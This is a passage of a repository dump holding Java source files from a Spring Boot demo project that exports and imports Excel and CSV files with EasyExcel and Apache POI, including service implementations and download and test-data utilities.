importExcel2(MultipartFile file);\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/service/impl/EasyExcelServiceImpl.java",
    "content": "package com.example.service.impl;\n\nimport cn.hutool.json.JSONUtil;\nimport com.alibaba.excel.EasyExcel;\nimport com.alibaba.excel.read.listener.PageReadListener;\nimport com.example.dto.DemoData;\nimport com.example.service.IEasyExcelService;\nimport com.example.util.DataUtil;\nimport com.example.util.DownloadUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.util.List;\n\n/**\n * <p>\n * easyexcel示例\n * </p>\n *\n * @author MrWen\n * @since 2022-02-05 12:58\n */\n@Slf4j\n@Service\npublic class EasyExcelServiceImpl implements IEasyExcelService {\n\n    @Override\n    public void printExcel1() {\n        //xls：数据量<=65500\n        List<DemoData> data = DataUtil.data();\n        //xlsx：65500<数据量<=1048500\n//        List<DemoData> data = DataUtil.data(100000);\n        //csv: 数据量>1048500\n//        List<DemoData> data = DataUtil.data(1300000);\n        DownloadUtil.downloadExcel(DemoData.class, data, \"easyExcel测试1\", \"测试\");\n    }\n\n\n    @Override\n    public void printExcel2() {\n        List<DemoData> data = DataUtil.data();\n        DownloadUtil.downloadExcelByTemplate(data, \"easyExcel模板导出\", \"excel/EasyExcel模板.xls\");\n//        DownloadUtil.downloadExcelByTemplate(data, \"easyExcel模板导出\", \"excel/EasyExcel模板.xlsx\");\n    }\n\n\n    @Override\n    public void importExcel(MultipartFile file) {\n        //参考：https://www.yuque.com/easyexcel/doc/read\n\n        // 写法1：JDK8+ ,不用额外写一个DemoDataListener\n        // 这里 需要指定读用哪个class去读，然后读取第一个sheet 文件流会自动关闭\n        // 这里每次会读取3000条数据 然后返回过来 直接调用使用数据就行\n        try {\n            EasyExcel.read(file.getInputStream(), DemoData.class,\n                            new PageReadListener<DemoData>(dataList -> {\n                                for (DemoData demoData : dataList) {\n                                    log.info(\"读取到一条数据{}\", JSONUtil.toJsonStr(demoData));\n                                }\n                            }))\n                    //这里不指定类型，会默认xlsx。xls和csv都会失效\n                    .excelType(DownloadUtil.getExcelType(file.getOriginalFilename()))\n                    .sheet().doRead();\n        } catch (Exception e) {\n            log.error(\"读取文件失败啦！,原因:{}\", e.getMessage(), e);\n            throw new RuntimeException(\"读取文件失败啦！\");\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/service/impl/PoiServiceImpl.java",
    "content": "package com.example.service.impl;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.io.resource.ClassPathResource;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.example.dto.DemoData;\nimport com.example.service.IPoiService;\nimport com.example.util.CommonUtil;\nimport com.example.util.DataUtil;\nimport com.example.util.DownloadUtil;\nimport com.example.util.excel.ExcelParserUtil;\nimport com.example.util.excel.handler.DemoDataHandler;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.csv.CSVFormat;\nimport org.apache.commons.csv.CSVPrinter;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.ss.usermodel.*;\nimport org.apache.poi.ss.util.CellRangeAddress;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.net.URLEncoder;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * <p>\n * poi示例\n * </p>\n *\n * @author MrWen\n * @since 2022-02-05 18:11\n */\n@Slf4j\n@Service\npublic class PoiServiceImpl implements IPoiService {\n\n    /**\n     * 时间格式化\n     */\n    SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\n    @Override\n    public void printExcel1() {\n        //利用ApachePOI创建Excel表 核心 工作簿-->工作单-->字典\n        //1  创建工作簿\n        Workbook workbook = new HSSFWorkbook();\n        //2  创建工作单\n        Sheet sheet = workbook.createSheet();\n\n        //3  创建字典（模版）  设置样式  数据\n        //3.1 设置头标题\n        Row titleRow = sheet.createRow(0);\n        //3.1.1设置样式  字体样式  行高，列宽（所有列sheet）\n        Cell titleRowCell = titleRow.createCell(0);\n        //字体样式\n        titleRowCell.setCellStyle(bigTitle(workbook));\n        //行高\n        titleRow.setHeightInPoints(36f); //磅\n\n        //列宽\n        /**\n         * 参数一：列的索引\n         * 参数二：列宽度值(字符数*256=磅)\n         */\n        sheet.setColumnWidth(0, 16 * 256);\n        sheet.setColumnWidth(1, 26 * 256);\n        sheet.setColumnWidth(2, 26 * 256);\n        sheet.setColumnWidth(3, 16 * 256);\n\n        //3.1.2设置头部数据\n        sheet.addMergedRegion(new CellRangeAddress(0, 0, 0, 3));  //合并头单元格\n        titleRowCell.setCellValue(\"poi测试数据\");  //动态标题\n\n        //3.2  设置表格头部数据 headerRow  1行 1-8列\n        Row headerRow = sheet.createRow(1);\n        String[] headerNames = {\"字符串标题\", \"日期标题\", \"格式化日期标题\", \"数字标题\"};\n        for (int i = 0; i < headerNames.length; i++) {\n            Cell headerRowCell = headerRow.createCell(i);\n            headerRowCell.setCellStyle(bigTitle(workbook)); //设置样式\n            headerRowCell.setCellValue(headerNames[i]);//填充数据\n        }\n\n        //3.3 创建字典（数据库输入导入格式）\n        // 判断非空有数据\n        List<DemoData> data = DataUtil.data();\n        if (CollUtil.isNotEmpty(data)) {\n            //循环行 从第二行开始\n            for (int i = 0; i < data.size(); i++) {\n                //获取集合中的数据\n                DemoData vo = data.get(i);\n                Row row = sheet.createRow(i + 2);\n                //循环列  第二列到第九列\n                for (int j = 0; j < 4; j++) {\n                    Cell cell = row.createCell(j);\n                    cell.setCellStyle(text(workbook));\n                    //字典\n                    switch (j) {\n                        case 0:\n                            //字符串标题\n                            cell.setCellValue(vo.getString());\n                            break;\n                        case 1:\n                            //日期标题\n                            cell.setCellValue(simpleDateFormat.format(vo.getDate()));\n                            break;\n                        case 2:\n                            //格式化日期标题\n                            cell.setCellValue(simpleDateFormat.format(vo.getDateFrom()));\n                            break;\n                        case 3:\n                            //数字标题\n                            cell.setCellValue(vo.getDoubleData());\n                            break;\n                        default:\n                            break;\n                    }\n                }\n            }\n        }\n        //输出下载\n        DownloadUtil.download(workbook, \"poi普通导出.xls\");\n    }\n\n    @Override\n    public void printExcel2() {\n        //工作  获取模版样式-->赋值\n\n        //利用ApachePOI读取模块Excel表   核心 工作簿-->工作单-->字典\n        //1.1 读取样式\n        InputStream inputStream = new ClassPathResource(\"excel/tOUTPRODUCT.xlsx\").getStream();\n        //1.2  创建工作簿\n        Workbook workbook;\n        try {\n            //xls格式--HSSFWorkbook\n//            workbook = new HSSFWorkbook(inputStream);\n            //xlsx格式--XSSFWorkbook\n            workbook = new XSSFWorkbook(inputStream);\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(\"读取模板失败\");\n        }\n        //2  获取工作单\n        Sheet sheet = workbook.getSheetAt(0);\n        //3  创建字典（模版）  设置样式  数据\n\n        //3.1 设置头标题数据（修改数据）\n        Row titleRow = sheet.getRow(0);\n        Cell titleRowCell = titleRow.getCell(0);\n        titleRowCell.setCellValue(\"poi模板测试\" + System.currentTimeMillis());  //动态标题\n\n        //3.2  获取插入数据对应的样式,存放在集合中（数据已经存在）\n        Row headerRow = sheet.getRow(2);\n        CellStyle[] styles = new CellStyle[3];\n        for (int i = 0; i < 3; i++) {\n            styles[i] = headerRow.getCell(i).getCellStyle();\n        }\n\n        //3.3 创建字典（数据库输入导入格式）\n        List<DemoData> data = DataUtil.data();\n        // 判断非空有数据\n        if (CollUtil.isNotEmpty(data)) {\n            //循环行 从第二行开始\n            for (int i = 0; i < data.size(); i++) {\n                //获取集合中的数据\n                DemoData vo = data.get(i);\n                Row row = sheet.createRow(i + 2);\n                //循环列  第一列到第三列\n                for (int j = 0; j < 3; j++) {\n                    Cell cell = row.createCell(j);\n                    //复制样式\n                    cell.setCellStyle(styles[j]);\n                    //字典\n                    switch (j) {\n                        case 0:\n                            //字符串标题\n                            cell.setCellValue(vo.getString());\n                            break;\n                        case 1:\n                            //日期标题\n                            cell.setCellValue(simpleDateFormat.format(vo.getDate()));\n                            break;\n                        case 2:\n                            //数字标题\n                            cell.setCellValue(vo.getDoubleData());\n                            break;\n                        default:\n                            break;\n                    }\n                }\n            }\n        }\n        //输出下载\n        DownloadUtil.download(workbook, \"poi模板导出测试.xlsx\");\n    }\n\n    @Override\n    public void printExcel3() {\n        //利用ApachePOI创建Excel表 核心 工作簿-->工作单-->字典\n        //1  创建工作簿(和printExcel1一样，只是实现类从HSSFWorkbook改为SXSSFWorkbook)\n        Workbook workbook = new SXSSFWorkbook();\n        //2  创建工作单\n        Sheet sheet = workbook.createSheet();\n\n        //3  创建字典（模版）  设置样式  数据\n        //3.1 设置头标题\n        Row titleRow = sheet.createRow(0);\n        //3.1.1设置样式  字体样式  行高，列宽（所有列sheet）\n        Cell titleRowCell = titleRow.createCell(0);\n        //字体样式\n        titleRowCell.setCellStyle(bigTitle(workbook));\n        //行高\n        titleRow.setHeightInPoints(36f); //磅\n\n        //列宽\n        /**\n         * 参数一：列的索引\n         * 参数二：列宽度值(字符数*256=磅)\n         */\n        sheet.setColumnWidth(0, 16 * 256);\n        sheet.setColumnWidth(1, 26 * 256);\n        sheet.setColumnWidth(2, 26 * 256);\n        sheet.setColumnWidth(3, 16 * 256);\n\n        //3.1.2设置头部数据\n        sheet.addMergedRegion(new CellRangeAddress(0, 0, 0, 3));  //合并头单元格\n        titleRowCell.setCellValue(\"poi测试数据\");  //动态标题\n\n        //3.2  设置表格头部数据 headerRow  1行 1-8列\n        Row headerRow = sheet.createRow(1);\n        String[] headerNames = {\"字符串标题\", \"日期标题\", \"格式化日期标题\", \"数字标题\"};\n        for (int i = 0; i < headerNames.length; i++) {\n            Cell headerRowCell = headerRow.createCell(i);\n            headerRowCell.setCellStyle(bigTitle(workbook)); //设置样式\n            headerRowCell.setCellValue(headerNames[i]);//填充数据\n        }\n\n        //3.3 创建字典（数据库输入导入格式）\n        // 判断非空有数据\n        List<DemoData> data = DataUtil.data(1000000);\n        if (CollUtil.isNotEmpty(data)) {\n            //循环行 从第二行开始\n            for (int i = 0; i < data.size(); i++) {\n                //获取集合中的数据\n                DemoData vo = data.get(i);\n                Row row = sheet.createRow(i + 2);\n                //循环列  第二列到第九列\n                for (int j = 0; j < 4; j++) {\n                    Cell cell = row.createCell(j);\n                    //样式不能太多(最多64000)\n//                    cell.setCellStyle(text(workbook));\n                    //字典\n                    switch (j) {\n                        case 0:\n                            //字符串标题\n                            cell.setCellValue(vo.getString());\n                            break;\n                        case 1:\n                            //日期标题\n                            cell.setCellValue(simpleDateFormat.format(vo.getDate()));\n                            break;\n                        case 2:\n                            //格式化日期标题\n                            cell.setCellValue(simpleDateFormat.format(vo.getDateFrom()));\n                            break;\n                        case 3:\n                            //数字标题\n                            cell.setCellValue(vo.getDoubleData());\n                            break;\n                        default:\n                            break;\n                    }\n                }\n            }\n        }\n        //输出下载\n        DownloadUtil.download(workbook, \"poi百万导出.xlsx\");\n    }\n\n    @Override\n    public void printCsv() {\n       /*\n        需要导包,这里easyexcel也有\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-csv</artifactId>\n            <version>1.8</version>\n        </dependency>\n        */\n        String fileName = \"测试csv.csv\";\n        HttpServletResponse response = CommonUtil.getResponse();\n        try {\n            //响应设置\n            response.setContentType(\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\");\n            response.setCharacterEncoding(\"utf-8\");\n            // 这里URLEncoder.encode可以防止中文乱码\n            fileName = URLEncoder.encode(fileName, \"UTF-8\").replaceAll(\"\\\\+\", \"%20\");\n            response.setHeader(\"Content-disposition\", \"attachment;filename*=utf-8''\" + fileName);\n\n            //csv设置\n            Appendable out = new PrintWriter(response.getOutputStream());\n            //头信息\n            CSVPrinter printer = CSVFormat.DEFAULT.withHeader(\"字符串标题\", \"日期标题\", \"数字标题\").print(out);\n            //内容\n            List<DemoData> dataList = DataUtil.data(1500000);\n            for (DemoData data : dataList) {\n                printer.printRecord(data.getString(), simpleDateFormat.format(data.getDate()), data.getDoubleData());\n            }\n            printer.flush();\n            printer.close();\n        } catch (Exception e) {\n            response.reset();\n            response.setContentType(\"application/json\");\n            response.setCharacterEncoding(\"utf-8\");\n            try {\n//                response.getWriter().println(JSONUtil.toJsonStr(AjaxResult.failed()));\n                response.getWriter().println(\"文件csv导出失败,原因：\" + e.getMessage());\n            } catch (IOException ex) {\n                ex.printStackTrace();\n            }\n        }\n    }\n\n\n    @Override\n    public void importExcel(MultipartFile file) {\n        //文件名\n        String filename = file.getOriginalFilename();\n        if (StrUtil.isBlank(filename)) {\n            throw new RuntimeException(\"文件名不能为空！\");\n        }\n\n        Workbook workbook;\n\n        //判断上传文件格式  03版本以前还是07版本以后\n        try {\n            if (filename.endsWith(\".xls\")) {\n                //03以前\n                workbook = new HSSFWorkbook(file.getInputStream());\n            } else if (filename.endsWith(\".xlsx\")) {\n                //07以后\n                workbook = new XSSFWorkbook(file.getInputStream());\n            } else {\n                //错误格式\n                throw new RuntimeException(\"格式错误，请参考模版\");\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(\"读取文件错误！\");\n        }\n\n        //获取数据，并保存\n        Sheet sheet = workbook.getSheetAt(0);\n        int totalRows = sheet.getPhysicalNumberOfRows();\n        //数据存储\n        List<DemoData> dataList = new ArrayList<>(totalRows);\n\n        //双循环保存信息  循环行数\n        for (int i = 2; i < totalRows; i++) {\n            Row row = sheet.getRow(i);\n            //保存信息\n            DemoData demoData = new DemoData();\n            dataList.add(demoData);\n\n            //循环列数，获取信息 看标准的格式\n            for (int j = 0; j < 4; j++) {\n                //判断值是否为空\n                Cell cell = row.getCell(j);\n                if (ObjectUtil.isNull(cell)) {\n                    continue;\n                }\n                //查字典，赋值数据\n                switch (j) {\n                    case 0:\n                        //字符串标题\n                        demoData.setString(cell.getStringCellValue());\n                        break;\n                    case 1:\n                        //日期标题\n                        try {\n                            demoData.setDate(simpleDateFormat.parse(cell.getStringCellValue()));\n                        } catch (ParseException e) {\n                            e.printStackTrace();\n                        }\n                        break;\n                    case 2:\n                        //格式化日期标题\n                        try {\n                            demoData.setDateFrom(simpleDateFormat.parse(cell.getStringCellValue()));\n                        } catch (ParseException e) {\n                            e.printStackTrace();\n                        }\n                        break;\n                    case 3:\n                        //数字标题\n                        demoData.setDoubleData(cell.getNumericCellValue());\n                        break;\n                    default:\n                        break;\n                }\n            }\n        }\n        dataList.forEach(System.out::println);\n    }\n\n    @Override\n    public void importExcel2(MultipartFile file) {\n        //可以新建，也可以注入\n        ExcelParserUtil.parse(file, new DemoDataHandler());\n    }\n\n\n    /**\n     * 大标题的样式\n     *\n     * @param wb 工作簿\n     * @return 样式\n     */\n    private CellStyle bigTitle(Workbook wb) {\n        CellStyle style = wb.createCellStyle();\n        Font font = wb.createFont();\n        font.setFontName(\"宋体\");\n        font.setFontHeightInPoints((short) 16);\n        font.setBold(true);//字体加粗\n        style.setFont(font);\n        style.setAlignment(HorizontalAlignment.CENTER);                //横向居中\n        style.setVerticalAlignment(VerticalAlignment.CENTER);        //纵向居中\n        return style;\n    }\n\n\n    /**\n     * 文字样式\n     *\n     * @param wb 工作簿\n     * @return 文字样式\n     */\n    private CellStyle text(Workbook wb) {\n        CellStyle style = wb.createCellStyle();\n        Font font = wb.createFont();\n        font.setFontName(\"Times New Roman\");\n        font.setFontHeightInPoints((short) 10);\n\n        style.setFont(font);\n\n        style.setAlignment(HorizontalAlignment.LEFT);                //横向居左\n        style.setVerticalAlignment(VerticalAlignment.CENTER);        //纵向居中\n        style.setBorderTop(BorderStyle.THIN);                        //上细线\n        style.setBorderBottom(BorderStyle.THIN);                    //下细线\n        style.setBorderLeft(BorderStyle.THIN);                        //左细线\n        style.setBorderRight(BorderStyle.THIN);                        //右细线\n\n        return style;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/util/CommonUtil.java",
    "content": "package com.example.util;\n\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.util.Objects;\n\n/**\n * <p>\n * 通用util\n * </p>\n *\n * @author MrWen\n **/\npublic class CommonUtil {\n\n    /**\n     * 获取request\n     */\n    public static HttpServletRequest getRequest() {\n        return ((ServletRequestAttributes) Objects.requireNonNull(RequestContextHolder.getRequestAttributes())).getRequest();\n    }\n\n    /**\n     * 获取response\n     */\n    public static HttpServletResponse getResponse() {\n        return ((ServletRequestAttributes) Objects.requireNonNull(RequestContextHolder.getRequestAttributes())).getResponse();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/util/DataUtil.java",
    "content": "package com.example.util;\n\nimport com.example.dto.DemoData;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\n/**\n * <p>\n * 获取导出模拟数据\n * </p>\n *\n * @author MrWen\n * @since 2022-02-05 13:01\n */\npublic class DataUtil {\n\n    /**\n     * 获取数据（默认长度10）\n     *\n     * @return 对应长度的数据\n     */\n    public static List<DemoData> data() {\n        return data(10);\n    }\n\n    /**\n     * 获取数据\n     *\n     * @param size list长度\n     * @return 对应长度的数据\n     */\n    public static List<DemoData> data(int size) {\n        List<DemoData> list = new ArrayList<>(size);\n        for (int i = 0; i < size; i++) {\n            DemoData data = new DemoData();\n            data.setString(\"字符串\" + i);\n            data.setDate(new Date());\n            data.setDateFrom(new Date());\n            data.setDoubleData(0.56);\n            list.add(data);\n        }\n        return list;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/util/DownloadUtil.java",
    "content": "package com.example.util;\n\nimport cn.hutool.core.io.resource.ClassPathResource;\nimport cn.hutool.core.util.StrUtil;\nimport com.alibaba.excel.EasyExcel;\nimport com.alibaba.excel.support.ExcelTypeEnum;\nimport com.example.dto.DemoData;\nimport org.apache.poi.ss.usermodel.Workbook;\n\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.net.URLEncoder;\nimport java.util.Collection;\n\n/**\n * <p>\n * 下载工具\n * </p>\n *\n * @author MrWen\n **/\npublic class DownloadUtil {\n\n    /**\n     * @param filePath   要下载的文件路径\n     * @param returnName 返回的文件名\n     * @param response   HttpServletResponse\n     * @param delFlag    是否删除文件\n     */\n    protected static void download(String filePath, String returnName, HttpServletResponse response, boolean delFlag) {\n        prototypeDownload(new File(filePath), returnName, response, delFlag);\n    }\n\n\n    /**\n     * @param file       要下载的文件\n     * @param returnName 返回的文件名\n     * @param response   HttpServletResponse\n     * @param delFlag    是否删除文件\n     */\n    protected static void download(File file, String returnName, HttpServletResponse response, boolean delFlag) {\n        prototypeDownload(file, returnName, response, delFlag);\n    }\n\n    /**\n     * @param file       要下载的文件\n     * @param returnName 返回的文件名\n     * @param response   HttpServletResponse\n     * @param delFlag    是否删除文件\n     */\n    public static void prototypeDownload(File file, String returnName, HttpServletResponse response, boolean delFlag) {\n        // 下载文件\n        FileInputStream inputStream = null;\n        ServletOutputStream outputStream = null;\n        try {\n            if (!file.exists()) {\n                return;\n            }\n            response.reset();\n            //设置响应类型\tPDF文件为\"application/pdf\"，WORD文件为：\"application/msword\"， EXCEL文件为：\"application/vnd.ms-excel\"。\n            response.setContentType(\"application/octet-stream;charset=utf-8\");\n\n            //保存的文件名,必须和页面编码一致,否则乱码\n            returnName = response.encodeURL(new String(returnName.getBytes(), \"iso8859-1\"));\n\n            //attachment作为附件下载；inline客户端机器有安装匹配程序，则直接打开；注意改变配置，清除缓存，否则可能不能看到效果\n            response.addHeader(\"Content-Disposition\", \"attachment;filename=\" + returnName);\n\n            //将文件读入响应流\n            inputStream = new FileInputStream(file);\n            outputStream = response.getOutputStream();\n            int length = 1024;\n            int readLength = 0;\n            byte[] buf = new byte[1024];\n            readLength = inputStream.read(buf, 0, length);\n            while (readLength != -1) {\n                outputStream.write(buf, 0, readLength);\n                readLength = inputStream.read(buf, 0, length);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                assert outputStream != null;\n                outputStream.flush();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n            try {\n                outputStream.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n            try {\n                inputStream.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n            //删除原文件\n            if (delFlag) {\n                file.delete();\n            }\n        }\n    }\n\n    /**\n     * by tony 2013-10-17\n     *\n     * @param byteArrayOutputStream 将文件内容写入ByteArrayOutputStream\n     * @param response              HttpServletResponse\t写入response\n     * @param returnName            返回的文件名\n     */\n    public static void download(ByteArrayOutputStream byteArrayOutputStream, HttpServletResponse response, String returnName) {\n        try {\n            response.setContentType(\"application/octet-stream;charset=utf-8\");\n            //保存的文件名,必须和页面编码一致,否则乱码\n            returnName = response.encodeURL(new String(returnName.getBytes(), \"iso8859-1\"));\n            response.addHeader(\"Content-Disposition\", \"attachment;filename=\" + returnName);\n            response.setContentLength(byteArrayOutputStream.size());\n\n            //取得输出流\n            ServletOutputStream outputstream = response.getOutputStream();\n            //写到输出流\n            byteArrayOutputStream.writeTo(outputstream);\n            //关闭\n            byteArrayOutputStream.close();\n            //刷数据\n            outputstream.flush();\n        } catch (Exception e) {\n            throw new RuntimeException(\"下载文件失败啦！原因:\" + e.getMessage());\n        }\n    }\n\n\n    /**\n     * excel导出\n     *\n     * @param wb       工作簿\n     * @param fileName excel名称  机器人.xls  机器人.xlsx\n     */\n    public static void download(Workbook wb, String fileName) {\n        try {\n            HttpServletResponse response = CommonUtil.getResponse();\n            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n            wb.write(byteArrayOutputStream);\n            download(byteArrayOutputStream, response, fileName);\n        } catch (Exception e) {\n            throw new RuntimeException(\"下载文件失败啦！原因:\" + e.getMessage());\n        }\n    }\n\n\n    /**\n     * todo 推荐\n     * 文件下载并且失败的时候返回json（默认失败了会返回一个有部分数据的Excel）\n     * 这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大\n     *\n     * @param head      创建excel对应的实体对象 参照{@link DemoData}\n     * @param data      设置返回的 参数\n     * @param fileName  文件名   机器人 机器人.xlsx  缺失文件类型时,会根据数据量自动适配xls,xlsx或csv格式\n     * @param sheetName sheetName\n     */\n    public static void downloadExcel(Class<?> head, Collection<?> data, String fileName, String sheetName) {\n        //自动补齐文件类型\n        fileName = fillFileType(fileName, data);\n\n        HttpServletResponse response = CommonUtil.getResponse();\n        // 这里注意 有同学反应使用swagger 会导致各种问题，请直接用浏览器或者用postman\n        try {\n            response.setContentType(\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\");\n            response.setCharacterEncoding(\"utf-8\");\n            // 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系\n            fileName = URLEncoder.encode(fileName, \"UTF-8\").replaceAll(\"\\\\+\", \"%20\");\n            response.setHeader(\"Content-disposition\", \"attachment;filename*=utf-8''\" + fileName);\n            // 这里需要设置不关闭流\n            EasyExcel.write(response.getOutputStream(), head)\n                    //这里不指定类型，会默认xlsx。xls和csv都会失效\n                    .excelType(getExcelType(fileName))\n                    .autoCloseStream(Boolean.FALSE).sheet(sheetName)\n                    .doWrite(data);\n        } catch (Exception e) {\n            // 重置response\n            response.reset();\n            response.setContentType(\"application/json\");\n            response.setCharacterEncoding(\"utf-8\");\n            try {\n                //可以自定义统一异常返回\n//                response.getWriter().println(JSONUtil.toJsonStr(AjaxResult.failed()));\n                response.getWriter().println(\"文件下载失败,原因：\" + e.getMessage());\n            } catch (Exception ex) {\n                ex.printStackTrace();\n                throw new RuntimeException(ex);\n            }\n        }\n    }\n\n\n    /**\n     * 文件下载（失败了会返回一个有部分数据的Excel）\n     * 这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大\n     *\n     * @param head      创建excel对应的实体对象 参照{@link DemoData}\n     * @param data      设置返回的 参数\n     * @param fileName  文件名   机器人 机器人.xlsx  缺失文件类型时,会根据数据量自动适配xls,xlsx或csv格式\n     * @param sheetName sheetName\n     */\n    public static void downloadExcel2(Class<?> head, Collection<?> data, String fileName, String sheetName) {\n        try {\n            //自动补齐文件类型\n            fileName = fillFileType(fileName, data);\n\n            HttpServletResponse response = CommonUtil.getResponse();\n            // 这里注意 有同学反应使用swagger 会导致各种问题，请直接用浏览器或者用postman\n            response.setContentType(\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\");\n            response.setCharacterEncoding(\"utf-8\");\n            // 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系\n            fileName = URLEncoder.encode(fileName, \"UTF-8\").replaceAll(\"\\\\+\", \"%20\");\n            response.setHeader(\"Content-disposition\", \"attachment;filename*=utf-8''\" + fileName);\n            EasyExcel.write(response.getOutputStream(), head).sheet(sheetName).doWrite(data);\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(\"文件excel下载失败啦，原因:{}\" + e.getMessage());\n        }\n    }\n\n    /**\n     * 按照模板导出\n     * 文件下载并且失败的时候返回json（默认失败了会返回一个有部分数据的Excel）\n     * 这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大\n     *\n     * @param data     设置返回的 参数\n     * @param fileName 文件名   机器人 机器人.xlsx  缺失文件类型时,会根据模板自动适配xls,xlsx或csv格式\n     * @param template 模板路径，相对于resources\n     */\n    public static void downloadExcelByTemplate(Collection<?> data, String fileName, String template) {\n        HttpServletResponse response = CommonUtil.getResponse();\n        //自动补齐文件类型\n        if (!fileName.contains(\".\") && template.contains(\".\")) {\n            String type = template.substring(template.lastIndexOf(\".\"));\n            fileName = fileName + type;\n        }\n\n        // 这里注意 有同学反应使用swagger 会导致各种问题，请直接用浏览器或者用postman\n        try {\n            response.setContentType(\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\");\n            response.setCharacterEncoding(\"utf-8\");\n            // 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系\n            fileName = URLEncoder.encode(fileName, \"UTF-8\").replaceAll(\"\\\\+\", \"%20\");\n            response.setHeader(\"Content-disposition\", \"attachment;filename*=utf-8''\" + fileName);\n\n            EasyExcel.write(response.getOutputStream())\n                    .withTemplate(new ClassPathResource(template).getStream())\n                    //这里不指定类型，会默认xlsx。xls和csv都会失效\n                    .excelType(getExcelType(fileName))\n                    .sheet().doFill(data);\n        } catch (Exception e) {\n            // 重置response\n            response.reset();\n            response.setContentType(\"application/json\");\n            response.setCharacterEncoding(\"utf-8\");\n            try {\n                //可以自定义统一异常返回\n//                response.getWriter().println(JSONUtil.toJsonStr(AjaxResult.failed()));\n                response.getWriter().println(\"文件下载失败,原因：\" + e.getMessage());\n            } catch (Exception ex) {\n                ex.printStackTrace();\n                throw new RuntimeException(ex);\n            }\n        }\n    }\n\n\n    /**\n     * 自动补齐文件类型,xls,xlsx或csv\n     *\n     * @param fileName 机器人 机器人.xlsx  缺失文件类型时,会根据数据量自动适配,xls,xlsx或csv\n     * @param data     数据量\n     * @return 机器人.xlsx\n     */\n    private static String fillFileType(String fileName, Collection<?> data) {\n        if (!fileName.contains(\".\")) {\n            if (data.size() <= 65500) {\n                //excel 2003 xls 最多只允许存储65536条数据，\n                fileName = fileName + \".xls\";\n            } else if (data.size() <= 1048500) {\n                //自动补齐文件类型,xlsx最多只能 1048576\n                fileName = fileName + \".xlsx\";\n            } else {\n                fileName = fileName + \".csv\";\n            }\n        }\n        return fileName;\n    }\n\n\n    /**\n     * 获取导出格式\n     *\n     * @param fileName 文件名，机器人.xlsx\n     * @return 导出格式（缺失默认xlsx）\n     */\n    public static ExcelTypeEnum getExcelType(String fileName) {\n        if (StrUtil.isBlank(fileName)) {\n            return ExcelTypeEnum.XLSX;\n        }\n        if (fileName.endsWith(ExcelTypeEnum.XLS.getValue())) {\n            return ExcelTypeEnum.XLS;\n        } else if (fileName.endsWith(ExcelTypeEnum.CSV.getValue())) {\n            return ExcelTypeEnum.CSV;\n        } else {\n            return ExcelTypeEnum.XLSX;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_excel/src/main/java/com/example/util/excel/ExcelParserUtil.java",
